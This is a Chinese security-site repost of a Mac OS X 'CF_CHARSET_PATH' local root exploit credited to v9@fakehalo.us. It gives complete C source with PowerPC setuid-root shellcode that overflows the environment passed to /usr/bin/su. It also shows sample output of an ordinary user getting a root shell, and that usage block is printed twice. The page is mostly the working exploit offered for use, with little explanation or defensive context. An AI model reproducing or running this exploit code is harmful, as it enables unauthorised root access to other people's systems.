Your Ad Here
首页 | 编程语言 | 网站建设 | 游戏天堂 | 冲浪宝典 | 网络安全 | 操作系统 | 软件时空 | 硬件指南 | 病毒相关 | IT 认证
软讯网络 > 网络安全 > 安全知识 > Mac OSX[CF_CHARSET_PATH]: local root exploit.
【标  题】:Mac OSX[CF_CHARSET_PATH]: local root exploit.
【关键字】:Mac,OSX,CF_CHARSET_PATH,local,root,exploit.
【来  源】:http://blog.chinaunix.net/article.php?articleId=17288&blogId=2056

Mac OSX[CF_CHARSET_PATH]: local root exploit.

Your Ad Here

--- example usage ---

server:/tmp v9$ id
uid=502(v9) gid=502(v9) groups=502(v9)
server:/tmp v9$ gcc xosx-cf.c -o xosx-cf
server:/tmp v9$ ./xosx-cf
(*)MacOS X[CF_CHARSET_PATH]: local root exploit.
(*)by: v9@fakehalo.us, found by iDefense adv. (anon)

[*] setting up the environment.
[*] executing su... (press ENTER at the "Password: " prompt)

Password:
sh-2.05b# id
uid=0(root) gid=502(v9) groups=502(v9)

This is simply an exploit for the iDefense adv posted today/yesterday, exploits via /usr/bin/su.

original adv:
www.idefense.com/application/poi/display?id=219&type=vulnerabilities

original exploit:
http://fakehalo.us/xosx-cf.c


--- example usage ---

server:/tmp v9$ id
uid=502(v9) gid=502(v9) groups=502(v9)
server:/tmp v9$ gcc xosx-cf.c -o xosx-cf
server:/tmp v9$ ./xosx-cf
(*)MacOS X[CF_CHARSET_PATH]: local root exploit.
(*)by: v9@fakehalo.us, found by iDefense adv. (anon)

[*] setting up the environment.
[*] executing su... (press ENTER at the "Password: " prompt)

Password:
sh-2.05b# id
uid=0(root) gid=502(v9) groups=502(v9)


--- xosx-cf.c ---

/*[ MacOS X[CF_CHARSET_PATH]: local root exploit. ]*********
*                                                         *
* by: v9@fakehalo.us (fakehalo/realhalo)                  *
*                                                         *
* found by: iDefense (anon finder)                        *
*                                                         *
* saw the advisory on bugtraq and figured i'd slap this   *
* together, so simple i had to.  exploits via the         *
* /usr/bin/su binary.  you must press ENTER at the        *
* "Password: " prompt.                                    *
***********************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
static char exec[]= /* b-r00t's setuid(0)+exec(/bin/sh). */
"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x7d\x68\x02\xa6\x3b\xeb"
"\x01\x70\x39\x40\x01\x70\x39\x1f\xfe\xdf\x7c\x68\x19\xae"
"\x38\x0a\xfe\xa7\x44\xff\xff\x02\x60\x60\x60\x60\x7c\xa5"
"\x2a\x79\x38\x7f\xfe\xd8\x90\x61\xff\xf8\x90\xa1\xff\xfc"
"\x38\x81\xff\xf8\x38\x0a\xfe\xcb\x44\xff\xff\x02\x7c\xa3"
"\x2b\x78\x38\x0a\xfe\x91\x44\xff\xff\x02\x2f\x62\x69\x6e"
"\x2f\x73\x68\x58";
int main(void){
unsigned int i=0;
char *buf,*env[3];
printf("(*)MacOS X[CF_CHARSET_PATH]: local root exploit.\n");
printf("(*)by: v9@fakehalo.us, found by iDefense adv. (anon)\n\n");
if(!(buf=(char *)malloc(1100+1)))exit(1);
memcpy(buf,"CF_CHARSET_PATH=",16);
printf("[*] setting up the environment.\n");
for(i=16;i<1100;i+=4)*(long *)&buf[i]=(0xbffffffa-strlen(exec));
env[0]=buf;
env[1]=exec;
env[2]=NULL;
printf("[*] executing su... (press ENTER at the \"Password: \""
" prompt)\n\n");
if(execle("/usr/bin/su","su",0,env))
  printf("[!] failed executing /usr/bin/su.\n");
exit(0);
}

linux "sys_epoll_wait" Local integer Exploit:【上一篇】
用IPTables实现字符串模式匹配:【下一篇】
【相关文章】
  • linux "sys_epoll_wait" Local integer Exploit
  • linux uselib() Local Privilege Escalation Exploit
  • 用OPENSSH保护root口令
  • Rootkit:真刀真枪的权限保卫战
  • Chrooting 后台服务和系统程序指导
  • 如何从你的Linux系统上删除RootKit
  • mysql忘了root密码
  • 免费的iPod|PC|Minimacs你相信吗?
  • MySQL为Macintosh OS X打造开源数据库工具
  • MYSQL用户root密码为空攻击方法
  • 【随机文章】
  • 两个PHP发送邮件的例子
  • Painter 简单上色(2)
  • 单字母域名
  • 对数据库中的记录用上一条下一条显示(二)
  • 黑客网络攻击的一般过程
  • Maya 4.0 创建场景物体-物体的组成元素
  • Linux QoS Bridge HOWTO
  • C语言参考手册(1)
  • 产品生命周期管理产生的背景(三)
  • 看看人家的超强客服
  • 【相关评论】
    没有相关评论
    【发表评论】
    姓名:
    邮件:
    随机码*
    评论*
          
    |  首 页  |  版权声明  |  联系我们   |  网站地图  |
    CopyRight © 2004-2007 bbb软讯网络 All Rigths Reserved.